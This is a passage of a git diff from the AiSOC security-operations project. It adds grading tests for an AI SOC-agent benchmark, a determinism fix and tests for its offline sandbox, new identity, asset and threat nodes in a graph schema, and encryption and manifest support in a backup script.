+ verdict = AgentVerdict(cited_indicators=["it looked suspicious", "very bad"])
+ score = score_incident(INCIDENT, verdict, TRUTH)
+ assert score.cited_checkable == 0
+ assert score.hallucinated_indicators == []
+
+ def test_hallucination_is_graded_on_abstention_too(self) -> None:
+ """Declining to conclude while inventing an address is still inventing it."""
+ verdict = AgentVerdict(abstained=True, cited_indicators=["198.51.100.77"])
+ score = score_incident(INCIDENT, verdict, TRUTH)
+ assert score.hallucinated_indicators == ["198.51.100.77"]
+
+ result = aggregate("a", "1", [score])
+ assert result.hallucination_rate == 1.0
+
+ def test_no_citations_is_a_zero_rate_not_a_divide_by_zero(self) -> None:
+ score = score_incident(INCIDENT, AgentVerdict(disposition="benign"), TRUTH)
+ result = aggregate("a", "1", [score])
+ assert result.hallucination_rate == 0.0
+ assert result.indicators_checked == 0
+
+ @pytest.mark.parametrize(
+ ("value", "checkable"),
+ [
+ ("10.0.0.1", True),
+ ("a" * 64, True),
+ ("evil.example.com", True),
+ ("", False),
+ ("something happened", False),
+ ("high", False),
+ ],
+ )
+ def test_checkability_detection(self, value: str, checkable: bool) -> None:
+ assert is_checkable_indicator(value) is checkable
+
+
+class TestCalibration:
+ def test_a_confident_wrong_answer_shows_in_the_gap(self) -> None:
+ right = score_incident(INCIDENT, AgentVerdict(disposition="malicious", confidence=0.6), TRUTH)
+ wrong = score_incident(INCIDENT, AgentVerdict(disposition="benign", confidence=0.99), TRUTH)
+ result = aggregate("a", "1", [right, wrong])
+ assert result.calibration_gap < 0, "the agent was more confident when wrong; the gap must be negative"
+
+ def test_a_well_calibrated_agent_shows_a_positive_gap(self) -> None:
+ right = score_incident(INCIDENT, AgentVerdict(disposition="malicious", confidence=0.95), TRUTH)
+ wrong = score_incident(INCIDENT, AgentVerdict(disposition="benign", confidence=0.4), TRUTH)
+ result = aggregate("a", "1", [right, wrong])
+ assert result.calibration_gap > 0
+
+
+class TestContainment:
+ def test_any_matching_action_counts(self) -> None:
+ """Requiring an exact set would grade an agent on matching our verbs
+ rather than on containing the incident."""
+ verdict = AgentVerdict(disposition="malicious", proposed_actions=["isolate_host"])
+ assert score_incident(INCIDENT, verdict, TRUTH).containment_correct is True
+
+ def test_a_wrong_action_is_wrong(self) -> None:
+ verdict = AgentVerdict(disposition="malicious", proposed_actions=["send_email"])
+ assert score_incident(INCIDENT, verdict, TRUTH).containment_correct is False
+
+ def test_no_expected_actions_means_not_graded(self) -> None:
+ """Not the same as graded and failed."""
+ verdict = AgentVerdict(disposition="malicious", proposed_actions=["anything"])
+ score = score_incident(INCIDENT, verdict, {"disposition": "malicious"})
+ assert score.containment_correct is None
+
+ result = aggregate("a", "1", [score])
+ assert result.containment_accuracy is None
+
+
+class TestProvenance:
+ async def test_an_unlabelled_corpus_is_refused(self, tmp_path: Path) -> None:
+ """An unlabelled corpus lets a reader assume the generous answer."""
+ path = tmp_path / "bad.json"
+ path.write_text(json.dumps({"incidents": [{"id": "x", "title": "t"}]}))
+ with pytest.raises(CorpusError, match="provenance"):
+ load_corpus(path)
+
+ async def test_an_invented_provenance_is_refused(self, tmp_path: Path) -> None:
+ path = tmp_path / "bad.json"
+ path.write_text(json.dumps({"incidents": [{"id": "x", "provenance": "definitely-real"}]}))
+ with pytest.raises(CorpusError, match="provenance"):
+ load_corpus(path)
+
+ async def test_provenance_travels_with_the_result(self, corpus: Path) -> None:
+ """So a downstream consumer cannot publish the number without it."""
+ agent = StubAgent(AgentVerdict(disposition="malicious"))
+ result = await run_benchmark(agent, corpus)
+ assert result.corpus_provenance == {"synthetic": 1}
+
+ async def test_the_report_leads_with_provenance(self, corpus: Path) -> None:
+ """A reader who sees 0.94 before 'synthetic' has already formed an
+ impression the caveat will not undo."""
+ agent = StubAgent(AgentVerdict(disposition="malicious"))
+ result = await run_benchmark(agent, corpus)
+ report = format_report(result)
+ assert report.index("synthetic") < report.index("disposition accuracy")
+
+ def test_the_shipped_corpus_is_labelled(self) -> None:
+ shipped = Path(__file__).resolve().parent.parent / "corpus" / "soc-agent-benchmark-v1.json"
+ if not shipped.exists():
+ pytest.skip("corpus not built in this checkout")
+ incidents, _, provenance = load_corpus(shipped)
+ assert incidents and provenance
+ assert sum(provenance.values()) == len(incidents)
+
+
+class TestRunnerRobustness:
+ async def test_an_agent_that_raises_is_an_abstention_not_a_crash(self, corpus: Path) -> None:
+ """A harness that dies on one bad response grades nothing, and the
+ entrant assumes the fault is ours."""
+ agent = StubAgent(RuntimeError("boom"))
+ result = await run_benchmark(agent, corpus)
+ assert result.incidents == 1
+ assert result.abstention_rate == 1.0
+
+ async def test_latency_is_measured_not_trusted(self, corpus: Path) -> None:
+ """The one number an entrant has an incentive to shade."""
+ agent = StubAgent(AgentVerdict(disposition="malicious", latency_ms=0))
+ result = await run_benchmark(agent, corpus)
+ assert result.per_incident[0].latency_ms >= 0
+ assert "latency" in format_report(result)
+
+ async def test_a_self_reported_latency_is_kept_when_given(self, corpus: Path) -> None:
+ agent = StubAgent(AgentVerdict(disposition="malicious", latency_ms=1234))
+ result = await run_benchmark(agent, corpus)
+ assert result.per_incident[0].latency_ms == 1234
+
+ async def test_limit_truncates_without_misreporting_the_count(self, corpus: Path) -> None:
+ agent = StubAgent(AgentVerdict(disposition="malicious"))
+ result = await run_benchmark(agent, corpus, limit=1)
+ assert result.incidents == 1 == agent.calls
+
+
+class TestHTTPAdapter:
+ async def test_an_unreachable_agent_abstains_with_the_reason(self) -> None:
+ agent = HTTPAgent("http://127.0.0.1:9/nope", timeout_seconds=1.0)
+ verdict = await agent.investigate(INCIDENT)
+ assert verdict.abstained
+ assert "adapter error" in verdict.narrative
+
+ def test_a_partial_response_defaults_rather_than_raising(self) -> None:
+ """An adapter under development should score badly, not crash the run."""
+ verdict = AgentVerdict.from_dict({"disposition": "MALICIOUS"})
+ assert verdict.disposition == "malicious"
+ assert verdict.confidence == 0.0
+ assert verdict.techniques == []
+
+ def test_techniques_are_normalised(self) -> None:
+ verdict = AgentVerdict.from_dict({"techniques": ["t1059.001", "T1566"]})
+ assert verdict.techniques == ["T1059.001", "T1566"]
+
+
+def test_protocol_accepts_a_minimal_implementation() -> None:
+ """Twenty lines against a vendor's own API is the bar."""
+ from aisoc_benchmark.adapter import SOCAgent
+
+ class Minimal:
+ name = "minimal"
+ version = "0.1"
+
+ async def investigate(self, incident: BenchmarkIncident) -> AgentVerdict:
+ return AgentVerdict(disposition="benign")
+
+ assert isinstance(Minimal(), SOCAgent)
+
+
+def test_aggregate_of_nothing_does_not_divide_by_zero() -> None:
+ result = aggregate("a", "1", [])
+ assert result.incidents == 0
+ assert result.disposition_accuracy == 0.0
+ assert result.hallucination_rate == 0.0
+
+
+def test_result_omits_per_incident_detail_by_default() -> None:
+ """A 200-entry array in every published payload is noise."""
+ score = score_incident(INCIDENT, AgentVerdict(disposition="malicious"), TRUTH)
+ result = aggregate("a", "1", [score])
+ assert "per_incident" not in result.as_dict()
+ assert "per_incident" in result.as_dict(include_per_incident=True)
+
+
+async def test_limit_recounts_provenance_over_the_slice(tmp_path: Path) -> None:
+ """Reporting the full corpus provenance beside a truncated run overstates
+ what was graded — the same class of error the labelling prevents."""
+ path = tmp_path / "mixed.json"
+ path.write_text(json.dumps({"incidents": [{"id": f"INC-{n}", "provenance": "synthetic", "title": "t"} for n in range(5)]}))
+ agent = StubAgent(AgentVerdict(disposition="benign"))
+ result = await run_benchmark(agent, path, limit=2)
+ assert result.incidents == 2
+ assert result.corpus_provenance == {"synthetic": 2}
diff --git a/packages/aisoc-sandbox/README.md b/packages/aisoc-sandbox/README.md
index c7c2331b9..c6d2115be 100644
--- a/packages/aisoc-sandbox/README.md
+++ b/packages/aisoc-sandbox/README.md
@@ -3,7 +3,7 @@
> Run an AiSOC agent investigation **offline in under 30 seconds**. No Docker, no API key, no network.
[![License: MIT](https://img.shields.io/badge/License-MIT-22c55e.svg)](https://github.com/beenuar/AiSOC/blob/main/LICENSE)
-[![PyPI release](https://img.shields.io/badge/pypi-coming%20in%20v8.0-f59e0b)](https://github.com/beenuar/AiSOC/blob/main/CHANGELOG.md)
+[![PyPI release](https://img.shields.io/badge/pypi-coming%20in%20v8.1-f59e0b)](https://github.com/beenuar/AiSOC/blob/main/CHANGELOG.md)
`aisoc-sandbox` is the quickest possible on-ramp to [AiSOC](https://github.com/beenuar/AiSOC). It walks one alert fixture through a four-stage agent funnel — **Detect → Triage → Hunt → Respond** — using a deterministic offline reasoner in place of a real LLM, and prints the resulting Investigation Ledger to your terminal.
@@ -22,7 +22,7 @@ This package collapses the boot time to **< 5 seconds** and the disk footprint t
git clone https://github.com/beenuar/AiSOC.git
cd AiSOC && pip install -e packages/aisoc-sandbox
-# v8.0+ (once aisoc-sandbox lands on PyPI):
+# v8.1+ (once aisoc-sandbox lands on PyPI):
pip install aisoc-sandbox
# or, for one-off use without polluting your site-packages:
pipx run aisoc-sandbox demo
diff --git a/packages/aisoc-sandbox/src/aisoc_sandbox/investigation.py b/packages/aisoc-sandbox/src/aisoc_sandbox/investigation.py
index cde9504ef..01dd8b516 100644
--- a/packages/aisoc-sandbox/src/aisoc_sandbox/investigation.py
+++ b/packages/aisoc-sandbox/src/aisoc_sandbox/investigation.py
@@ -19,6 +19,7 @@ make any network calls.
from __future__ import annotations
+import hashlib
import time
from dataclasses import dataclass
from typing import Any
@@ -222,19 +223,30 @@ def _confidence_band(*, severity: str, technique_count: int) -> dict[str, Any]:
return {"score": score, "band": band}
+def _stable_int(key: str) -> int:
+ """A process-independent integer for a string key.
+
+ Not ``hash()``: CPython salts string hashing per process unless
+ PYTHONHASHSEED is pinned, so these figures changed on every run while
+ the package advertised a deterministic reasoner. That also silently
+ undermines the reproducibility the evaluation harness rests on, since
+ a "deterministic" baseline that moves cannot be a baseline.
+ """
+ return int.from_bytes(hashlib.blake2b(key.encode(), digest_size=8).digest(), "big")
+
+
def _synthetic_related_cases(sid: str) -> int:
- # Stable per-scenario but believable. Production fetches from
- # Qdrant; we just hash the id.
- return abs(hash(sid)) % 7
+ # Stable per-scenario but believable. Production fetches from Qdrant.
+ return _stable_int(sid) % 7
def _synthetic_entity_risk(entities: dict[str, str]) -> dict[str, int]:
- # Risk score 0-100 per entity. Deterministic.
- return {k: 30 + (abs(hash(v)) % 60) for k, v in entities.items()}
+ # Risk score 0-100 per entity.
+ return {k: 30 + (_stable_int(v) % 60) for k, v in entities.items()}
def _synthetic_hunt_matches(sid: str) -> int:
- return abs(hash(f"hunt:{sid}")) % 4
+ return _stable_int(f"hunt:{sid}") % 4
def _automation_tier(severity: str) -> str:
diff --git a/packages/aisoc-sandbox/tests/test_determinism.py b/packages/aisoc-sandbox/tests/test_determinism.py
new file mode 100644
index 000000000..48701e3b9
--- /dev/null
+++ b/packages/aisoc-sandbox/tests/test_determinism.py
@@ -0,0 +1,107 @@
+"""The sandbox advertises a deterministic reasoner. Prove it across processes.
+
+The reasoner used ``abs(hash(str))`` for related-case counts, entity risk
+scores and hunt-match counts. CPython salts string hashing per process, so
+every one of those figures changed on each run while three comments in the
+source called them deterministic and the README sold the package on it.
+
+That matters beyond tidiness. The sandbox is the reproducible baseline the
+evaluation harness rests on, and a baseline that moves is not a baseline:
+two runs of the same scenario could not be compared, so a genuine regression
+in reasoning was indistinguishable from the hash seed changing.
+
+These tests run the CLI in separate interpreter processes with deliberately
+different PYTHONHASHSEED values, which is the only way to catch this — a
+single in-process assertion passes even with the salted hash, because the
+salt is fixed for a process's lifetime.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import sys
+from typing import Any
+
+import pytest
+
+SCENARIOS = [
+ "lateral-movement",
+ "aws-credential-exfil",
+ "phishing-payload",
+ "kubernetes-privesc",
+ "github-token-theft",
+]
+
+# Wall-clock fields are expected to differ between runs. Everything else is
+# reasoning output and must not.
+VOLATILE = {"latency_ms", "timestamp_utc", "total_latency_ms", "duration_ms"}
+
+
+def _strip_volatile(value: Any) -> Any:
+ if isinstance(value, dict):
+ return {k: _strip_volatile(v) for k, v in value.items() if k not in VOLATILE}
+ if isinstance(value, list):
+ return [_strip_volatile(v) for v in value]
+ return value
+
+
+def _run(scenario: str, seed: str) -> dict[str, Any]:
+ env = {**os.environ, "PYTHONHASHSEED": seed}
+ proc = subprocess.run(
+ [sys.executable, "-m", "aisoc_sandbox.cli", "demo", "--scenario", scenario, "--json"],
+ capture_output=True,
+ text=True,
+ env=env,
+ timeout=60,
+ )
+ assert proc.returncode == 0, proc.stderr
+ return _strip_volatile(json.loads(proc.stdout))
+
+
[email protected]("scenario", SCENARIOS)
+def test_reasoning_is_identical_under_different_hash_seeds(scenario: str) -> None:
+ """Two processes, two hash seeds, byte-identical reasoning."""
+ first = _run(scenario, "1")
+ second = _run(scenario, "987654")
+ assert json.dumps(first, sort_keys=True) == json.dumps(second, sort_keys=True), (
+ f"{scenario} produced different reasoning under a different PYTHONHASHSEED. "
+ f"Something in the reasoner depends on salted hashing again."
+ )
+
+
[email protected]("scenario", SCENARIOS)
+def test_synthetic_figures_are_stable(scenario: str) -> None:
+ """Pin the specific values that were unstable, not just the whole blob.
+
+ Whole-payload equality would still pass if these fields disappeared.
+ """
+ first = _run(scenario, "7")
+ second = _run(scenario, "424242")
+
+ def figures(payload: dict[str, Any]) -> list[Any]:
+ found: list[Any] = []
+ for step in payload["ledger"]:
+ evidence = step.get("evidence") or {}
+ for key in ("related_cases_30d", "rba_entity_risk", "matches_found"):
+ if key in evidence:
+ found.append((step["agent"], key, evidence[key]))
+ return found
+
+ a, b = figures(first), figures(second)
+ assert a, f"{scenario}: none of the synthetic figures were emitted; the test is vacuous"
+ assert a == b
+
+
+def test_stable_int_does_not_use_builtin_hash() -> None:
+ """A direct check on the helper, independent of the CLI."""
+ from aisoc_sandbox.investigation import _stable_int
+
+ # Known-answer: blake2b-8 of "aisoc" read big-endian. Pinning the value
+ # means swapping the digest silently is caught, since scores derived from
+ # it would shift for every existing scenario.
+ assert _stable_int("aisoc") == 2585458249718371596
+ assert _stable_int("aisoc") == _stable_int("aisoc")
+ assert _stable_int("a") != _stable_int("b")
+ assert _stable_int("") >= 0
diff --git a/packages/plugin-sdk-go/go.mod b/packages/plugin-sdk-go/go.mod
index 8fb6d4346..4db140f51 100644
--- a/packages/plugin-sdk-go/go.mod
+++ b/packages/plugin-sdk-go/go.mod
@@ -1,3 +1,3 @@
module github.com/beenuar/aisoc/plugin-sdk-go
-go 1.21
+go 1.26
diff --git a/packages/sdk-go/go.mod b/packages/sdk-go/go.mod
index 0bcce3b06..77b6acab0 100644
--- a/packages/sdk-go/go.mod
+++ b/packages/sdk-go/go.mod
@@ -1,6 +1,6 @@
module github.com/beenuar/aisoc/sdk-go
-go 1.22
+go 1.26
require github.com/oapi-codegen/oapi-codegen/v2 v2.3.0
diff --git a/schemas/graph-schema.yaml b/schemas/graph-schema.yaml
index 6702ba93c..0c5f12881 100644
--- a/schemas/graph-schema.yaml
+++ b/schemas/graph-schema.yaml
@@ -1,4 +1,4 @@
-# AiSOC Security Knowledge Graph — schema v1.0
+# AiSOC Security Knowledge Graph — schema v1.1
#
# This file is the machine-readable source of truth for the graph that
# `services/ingest` materialises into Neo4j at ingest time. It is consumed by
@@ -20,7 +20,7 @@
# are reconciled from configuration snapshots and carry `snapshot_id` and a
# `valid_from`/`valid_to` window instead.
-version: v1.0
+version: v1.1
# ---------------------------------------------------------------------------
# Node labels
@@ -241,6 +241,164 @@ node_labels:
# ---------------------------------------------------------------------------
# event_edge: true relationships always carry {ts, source_event_id,
# snapshot_id}. Structural edges carry {snapshot_id, valid_from, valid_to}.
+ # ── v1.1: identity depth ───────────────────────────────────────────────────
+ # An Identity is an account. An Employee is the person holding it. Keeping
+ # them separate is what lets an investigation ask whether activity on one
+ # account is consistent with the same human's activity elsewhere, and who
+ # to escalate to.
+ - label: Employee
+ description: >-
+ The human behind one or more Identities. Sourced from the HR or
+ directory system of record (Entra, Okta, Workday) rather than from
+ observed events, because an event can only ever show an account.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: email, type: string, required: false }
+ - { name: display_name, type: string, required: false }
+ - { name: title, type: string, required: false }
+ - { name: employment_type, type: string, required: false }
+ - { name: location, type: string, required: false }
+ - { name: start_date, type: datetime, required: false }
+ # A departed employee whose accounts are still active is one of the
+ # highest-signal findings the graph can produce, so this is recorded
+ # rather than the row being deleted.
+ - { name: end_date, type: datetime, required: false }
+ - { name: is_active, type: bool, required: false }
+
+ - label: Department
+ description: >-
+ Organisational unit. Gives an investigation a peer group: "is this
+ behaviour normal for finance" is answerable where "is this normal" is
+ not.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: cost_centre, type: string, required: false }
+
+ # ── v1.1: asset depth ──────────────────────────────────────────────────────
+ - label: Vulnerability
+ description: >-
+ A CVE or vendor finding present on a Resource. Turns "suspicious
+ process on host X" into "suspicious process on a host with an
+ unpatched, known-exploited RCE", which is a different alert.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: cve_id, type: string, required: false }
+ - { name: cvss_score, type: float, required: false }
+ - { name: severity, type: string, required: false }
+ # Known-exploited (CISA KEV) is the single most useful field here and
+ # is deliberately first-class rather than buried in a tag.
+ - { name: known_exploited, type: bool, required: false }
+ - { name: published_at, type: datetime, required: false }
+ - { name: source, type: string, required: false }
+
+ - label: Application
+ description: >-
+ A business application or service. Carries the business context that
+ turns a technical severity into a priority: who owns it, how critical
+ it is, what class of data it holds, and what an outage costs.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: criticality, type: string, required: false }
+ - { name: data_classification, type: string, required: false }
+ - { name: revenue_impact, type: string, required: false }
+ - { name: environment, type: string, required: false }
+ - { name: internet_facing, type: bool, required: false }
+ - { name: compliance_scope, type: list, required: false }
+
+ # ── v1.1: cloud depth ──────────────────────────────────────────────────────
+ - label: CloudAccount
+ description: >-
+ An AWS account, GCP project, or Azure subscription. The boundary that
+ determines how far a compromised workload's credentials reach.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: provider, type: string, required: true }
+ - { name: account_id, type: string, required: true }
+ - { name: name, type: string, required: false }
+ - { name: environment, type: string, required: false }
+
+ - label: Secret
+ description: >-
+ A *reference* to a secret — never its value. Name, store, and rotation
+ age only. The graph is read by agents and rendered in a UI, so a schema
+ that can hold a credential will eventually hold one.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: store, type: string, required: false }
+ - { name: last_rotated, type: datetime, required: false }
+ - { name: rotation_days, type: int, required: false }
+
+ # ── v1.1: threat depth ─────────────────────────────────────────────────────
+ # Malware, Campaign, ThreatActor, Technique and Tactic are *global*
+ # reference entities: they carry no tenant_id, tenant-scoped reads must
+ # exempt them, and an offboarding purge must not delete them.
+ - label: IOC
+ description: >-
+ An observed indicator — hash, IP, domain, URL. Tenant-scoped, because
+ the observation belongs to the tenant even when the indicator is public.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: tenant_id, type: string, required: true }
+ - { name: type, type: string, required: true }
+ - { name: value, type: string, required: true }
+ - { name: first_seen, type: datetime, required: false }
+ - { name: last_seen, type: datetime, required: false }
+ - { name: confidence, type: int, required: false }
+
+ - label: Malware
+ description: >-
+ A malware family. Global reference data, shared across tenants.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: aliases, type: list, required: false }
+ - { name: category, type: string, required: false }
+
+ - label: Campaign
+ description: >-
+ A named intrusion campaign. Global reference data.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: first_seen, type: datetime, required: false }
+ - { name: last_seen, type: datetime, required: false }
+
+ - label: ThreatActor
+ description: >-
+ An attributed actor or group. Global reference data. Attribution is
+ recorded with its confidence because it is frequently contested.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: aliases, type: list, required: false }
+ - { name: motivation, type: string, required: false }
+ - { name: origin, type: string, required: false }
+
+ - label: Technique
+ description: >-
+ A MITRE ATT&CK technique or sub-technique. Global reference data.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: is_subtechnique, type: bool, required: false }
+
+ - label: Tactic
+ description: >-
+ A MITRE ATT&CK tactic — the kill-chain stage a Technique belongs to.
+ Global reference data.
+ properties:
+ - { name: id, type: string, required: true }
+ - { name: name, type: string, required: true }
+ - { name: shortname, type: string, required: false }
+
relationships:
- name: ASSUMED_BY
source_label: Role
@@ -461,3 +619,144 @@ relationships:
- { name: policy_chain_ids, type: list, required: false }
- { name: last_resolved, type: datetime, required: true }
- { name: resolver_version, type: string, required: false }
+
+ # ── v1.1: identity depth ───────────────────────────────────────────────────
+ - name: AUTHENTICATES_AS
+ source_label: Employee
+ target_label: Identity
+ event_edge: false
+ description: >-
+ One person, many accounts: corporate SSO, a break-glass admin, a
+ service account they own. Joining them is what makes "this person also
+ did X in another system" answerable at all.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: is_primary, type: bool, required: false }
+
+ - name: BELONGS_TO
+ source_label: Employee
+ target_label: Department
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ - name: MANAGES
+ source_label: Employee
+ target_label: Employee
+ event_edge: false
+ description: >-
+ The reporting line. Walking it upward is how an escalation finds a
+ human with authority to approve a containment action.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ # ── v1.1: asset depth ──────────────────────────────────────────────────────
+ - name: AFFECTED_BY
+ source_label: Resource
+ target_label: Vulnerability
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: detected_at, type: datetime, required: false }
+ - { name: status, type: string, required: false }
+
+ - name: RUNS
+ source_label: Resource
+ target_label: Application
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ # ── v1.1: cloud depth ──────────────────────────────────────────────────────
+ - name: IN_ACCOUNT
+ source_label: Resource
+ target_label: CloudAccount
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: region, type: string, required: false }
+
+ - name: STORES
+ source_label: Resource
+ target_label: Secret
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ # ── v1.1: business depth ───────────────────────────────────────────────────
+ - name: OWNED_BY
+ source_label: Application
+ target_label: Employee
+ event_edge: false
+ description: >-
+ Who is accountable for the service. This is who an escalation actually
+ goes to, as distinct from whoever happens to be on shift.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: role, type: string, required: false }
+
+ # ── v1.1: threat depth ─────────────────────────────────────────────────────
+ - name: OBSERVED_IOC
+ source_label: Alert
+ target_label: IOC
+ event_edge: true
+ properties:
+ - { name: ts, type: datetime, required: true }
+ - { name: source_event_id, type: string, required: true }
+ - { name: snapshot_id, type: string, required: true }
+
+ - name: INDICATES
+ source_label: IOC
+ target_label: Malware
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: confidence, type: int, required: false }
+ - { name: source, type: string, required: false }
+
+ - name: PART_OF
+ source_label: Malware
+ target_label: Campaign
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ - name: ATTRIBUTED_TO
+ source_label: Campaign
+ target_label: ThreatActor
+ event_edge: false
+ description: >-
+ Attribution carries its confidence because it is frequently contested
+ and frequently revised. A traversal that presents it as fact is worse
+ than one that does not traverse it.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: confidence, type: int, required: false }
+ - { name: source, type: string, required: false }
+
+ - name: USES_TECHNIQUE
+ source_label: Malware
+ target_label: Technique
+ event_edge: false
+ description: >-
+ Also written from ThreatActor to Technique. The source label here is
+ the common case; both are valid.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+
+ - name: MAPS_TO
+ source_label: Alert
+ target_label: Technique
+ event_edge: false
+ description: >-
+ Also written from Detection to Technique.
+ properties:
+ - { name: snapshot_id, type: string, required: true }
+ - { name: confidence, type: int, required: false }
+
+ - name: IN_TACTIC
+ source_label: Technique
+ target_label: Tactic
+ event_edge: false
+ properties:
+ - { name: snapshot_id, type: string, required: true }
diff --git a/scripts/backup.sh b/scripts/backup.sh
index 201d34c33..d8a333c13 100755
--- a/scripts/backup.sh
+++ b/scripts/backup.sh
@@ -2,9 +2,22 @@
# backup.sh — AiSOC full-stack backup to S3/R2
#
# Backs up:
-# 1. PostgreSQL (pg_dump → gzip → upload)
-# 2. ClickHouse (BACKUP TABLE/DATABASE via HTTP API → upload)
+# 1. PostgreSQL (pg_dump → gzip → encrypt → upload)
+# 2. ClickHouse (SELECT … FORMAT TSV → gzip → encrypt → upload)
# 3. Plugin store (marketplace/index.json + community plugin artifacts → upload)
+# 4. Neo4j entity graph (APOC cypher export → gzip → encrypt → upload)
+# 5. Qdrant vector store (per-collection snapshot → encrypt → upload)
+# 6. Redis (RDB → encrypt → upload)
+#
+# Every artifact is encrypted with AES-256-GCM before it leaves the host, and
+# every artifact is recorded in a SHA-256 manifest uploaded alongside it. The
+# manifest holds the digest of the plaintext and of the ciphertext, so restore
+# can prove the bytes it fetched are the bytes that were written *and* that the
+# dump inside them is the dump that was taken.
+#
+# Encryption is on by default. Set BACKUP_ENCRYPTION=off only if the bucket
+# provides equivalent protection and you accept that anyone who can read the
+# bucket can read every credential and event row in the dump.
#
# Required environment variables:
# BACKUP_S3_BUCKET — s3://your-bucket or r2://your-bucket (s3-compatible)
@@ -18,11 +31,17 @@
# AWS_ACCESS_KEY_ID — S3/R2 access key
# AWS_SECRET_ACCESS_KEY — S3/R2 secret key
# AWS_ENDPOINT_URL — R2 or custom S3 endpoint (optional)
+# BACKUP_ENCRYPTION_KEY — 64 hex chars (32 bytes) for AES-256-GCM; or
+# BACKUP_ENCRYPTION_KEY_FILE — path to a file containing the same
+# (preferred: an env var shows up in `ps`)
+# Generate: python3 scripts/backup_crypt.py keygen
+# BACKUP_ENCRYPTION — 'on' (default) or 'off' to skip encryption
# BACKUP_RETENTION_DAYS — how many days to keep backups (default: 30)
# SLACK_WEBHOOK_URL — notify on completion/failure (optional)
#
# Usage:
-# ./scripts/backup.sh [--dry-run] [--component postgres|clickhouse|plugins|all]
+# ./scripts/backup.sh [--dry-run]
+# [--component postgres|clickhouse|plugins|neo4j|qdrant|redis|all]
set -euo pipefail
@@ -36,12 +55,22 @@ CLICKHOUSE_USER="${CLICKHOUSE_USER:-default}"
CLICKHOUSE_PASSWORD="${CLICKHOUSE_PASSWORD:-}"
CLICKHOUSE_DATABASE="${CLICKHOUSE_DATABASE:-aisoc}"
BACKUP_RETENTION_DAYS="${BACKUP_RETENTION_DAYS:-30}"
+BACKUP_ENCRYPTION="${BACKUP_ENCRYPTION:-on}"
+NEO4J_URI="${NEO4J_URI:-}"
+NEO4J_HTTP_URL="${NEO4J_HTTP_URL:-http://localhost:7474}"
+NEO4J_USER="${NEO4J_USER:-neo4j}"
+NEO4J_PASSWORD="${NEO4J_PASSWORD:-}"
+QDRANT_URL="${QDRANT_URL:-}"
+REDIS_URL="${REDIS_URL:-}"
SLACK_WEBHOOK_URL="${SLACK_WEBHOOK_URL:-}"
DRY_RUN=false
COMPONENT="all"
TIMESTAMP=$(date -u +"%Y%m%dT%H%M%SZ")
BACKUP_DIR="/tmp/aisoc-backup-${TIMESTAMP}"
ERRORS=0
+SKIPS=0
+MANIFEST="" # set after BACKUP_DIR exists
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# ── arg parsing ───────────────────────────────────────────────────────────────
while [[ $# -gt 0 ]]; do
@@ -55,7 +84,25 @@ done
# ── helpers ───────────────────────────────────────────────────────────────────
log() { echo "[$(date -u +%T)] $*"; }
-fail() { echo "[ERROR] $*" >&2; ((ERRORS++)); }
+# NB: ERRORS=$((...)) not ((ERRORS++)). The latter evaluates to the value
+# *before* the increment, so the first call returns 0 -> exit status 1 ->
+# set -e kills the script mid-handler. The whole error-accumulation design
+# below (keep going, report N failures at the end) never ran because of it.
+fail() { echo "[ERROR] $*" >&2; ERRORS=$((ERRORS + 1)); }
+
+# unreachable() is fail() for live runs and a note for dry runs. A dry run
+# is a configuration check — an operator validating settings from a laptop
+# cannot reach the cluster's ClickHouse, and exiting 1 for that made
+# --dry-run useless for the thing it exists to do. A live run still treats
+# an unreachable store as a failed backup, which it is.
+unreachable() {
+ if [[ "$DRY_RUN" == "true" ]]; then
+ echo "[skip] $*" >&2
+ SKIPS=$((SKIPS + 1))
+ else
+ fail "$*"
+ fi
+}
require() {
command -v "$1" &>/dev/null || { echo "Missing required command: $1" >&2; exit 1; }
@@ -110,6 +157,60 @@ notify_slack() {
|| true
}
+
+# ── artifact sealing: encrypt + record ────────────────────────────────────────
+# Everything that gets uploaded goes through seal_artifact first, so a new
+# component cannot be added that quietly ships plaintext.
+
+manifest_add() {
+ # path, plaintext sha256, ciphertext sha256 (empty when unencrypted), bytes
+ local name="$1" plain_sha="$2" cipher_sha="$3" bytes="$4"
+ python3 - "$MANIFEST" "$name" "$plain_sha" "$cipher_sha" "$bytes" <<'PYEOF'
+import json, pathlib, sys
+path, name, plain_sha, cipher_sha, size = sys.argv[1:6]
+p = pathlib.Path(path)
+doc = json.loads(p.read_text()) if p.exists() else {"artifacts": []}
+doc["artifacts"].append({
+ "name": name,
+ "sha256_plaintext": plain_sha,
+ "sha256_ciphertext": cipher_sha or None,
+ "encrypted": bool(cipher_sha),
+ "bytes": int(size),
+})
